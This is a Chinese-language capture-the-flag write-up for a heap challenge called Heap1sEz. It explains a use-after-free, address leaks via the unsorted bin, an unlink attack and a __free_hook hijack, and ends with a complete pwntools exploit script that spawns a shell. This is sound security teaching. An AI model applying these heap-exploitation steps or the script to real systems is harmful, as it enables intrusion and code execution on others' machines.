Heap1sEz - 堆漏洞的简单利用
堆的内部结构
在程序的执行过程中,我们称由 malloc 申请的内存为
chunk
。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
关于堆的结构很重要的一点在于,其使用和 free 状态下的结构一致,只是相应功能有区别。例如使用时 fd 段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd 中。
程序分析
checksec
程序开启了 PIE 保护
程序运行
源码分析
程序主要由 gift
, add
, edit
,
show
, delete
几个函数构成。其中
gift
函数直接让我们可以进行 __free_hook
劫持。
void gift(){
printf("give me a hook\n");
if (scanf("%p", &hook) <= 0)
_exit(1);
}
因此考虑通过 __free_hook
劫持执行
system('/bin/sh')
得到 shell。
在 delete
函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use After
Free 漏洞。
void delete() {
unsigned int index;
printf("Index: ");
scanf("%u", &index);
if (index >= 16) {
printf("There are only 16 pages in this notebook.\n");
return;
}
if (notes[index] == NULL) {
printf("Page not found.\n");
return;
}
free(notes[index]); //没有置空
return;
}
攻击流程
泄露程序基址
由于程序打开了
PIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中
.text , .data 或者 .bss 中的地址来计算程序基址。这里选择
main_arena
进行泄露,因为通过 Unsorted Bin
的机制会很容易得到。
申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 Unsorted
Bin。这里 chunk1 的 fd 就会指向某个与 main_arena
有关的地址。经过动态调试得知, 它指向
&main_arena - 0x08
。
不过目前我还不明白,为什么只有一个 chunk
的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在
main_arena.bins
中存储相关指针即可。
泄露 libc 基址
得到程序基址后,为了得到 system
函数的地址,还需要获得
libc 基址。而程序中唯一可利用的输出函数位于 show
函数中
void show() {
unsigned int index;
printf("Index: ");
scanf("%u", &index);
if (index >= 16) {
printf("There are only 16 pages in this notebook.\n");
return;
}
if (notes[index] == NULL) {
printf("Page not found.\n");
return;
}
puts(notes[index]); //可以利用
return;
}
我们需要尝试将 notes[index]
修改为一个 got
表中的值,例如 read@got[plt]
。
利用 unlink 实现任意地址读写
unlink_chunk (mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
//if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
//malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
}
- FD=P->fd = target addr - 0x18
- BK=P->bk = expect value
- FD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value
- BK->fd = FD,即 *(expect value +0x10) = FD = target addr- 0x18
在 64 位程序里,chunk 每个字段占 8 个字节。
由于程序中存在 UAF 漏洞,只需要申请两个 chunk,大小为 16(或者更大)。删除 chunk1 后编辑 chunk1 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行 unlink 相关代码。
不过这里在测试时发生了段错误,如下图:
后来发现是因为 got 表中
<read@got[plt]+0x10>
的值被修改了,而这个位置恰好存储
__printf_chk
函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。

执行 system('/bin/sh')
传参
观察 __free_hook
相关的代码,可以发现
void delete() {
//...
free(notes[index]);
return;
}
void free(void *mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem);
return;
}
//...
只需要将 mem
对应的位置修改为 '/bin/sh'
即可,而使用程序中自带的 edit 功能就能实现。
__free_hook
劫持
这题直接提供了后门函数 gift
用于修改
&hook
上的值。
exp
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
libc = ELF("./libc.so.6")
p = process("./vuln")
#p = remote("182.202.178.28",31639)
#gdb.attach(p)
def add(index,size):
p.sendline(b"1")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size: ",str(size))
def dele(index):
p.sendline(b"2")
p.sendlineafter("Index:",str(index))
def edit(index,content):
p.sendline(b"3")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendline(b"4")
p.sendlineafter("Index:",str(index))
add(2,8)
add(3,8)
dele(2)
dele(3)
show(2)
bss_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
elfbase = bss_addr + 0x8 - 0x3810
print("bss:",hex(bss_addr))
note = elfbase + 0x3880
puts = elfbase + 0x3768
add(0,16)
add(1,16)
dele(0)
edit(0,p64(note-0x18)+p64(puts))
dele(1)
show(0)
puts_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
sys_addr = libc_base + libc.sym["system"]
add(6,8)
edit(6,b"/bin/sh")
p.sendline(b"6")
p.sendlineafter(b"give me a hook\n",hex(sys_addr))
dele(6)
p.interactive()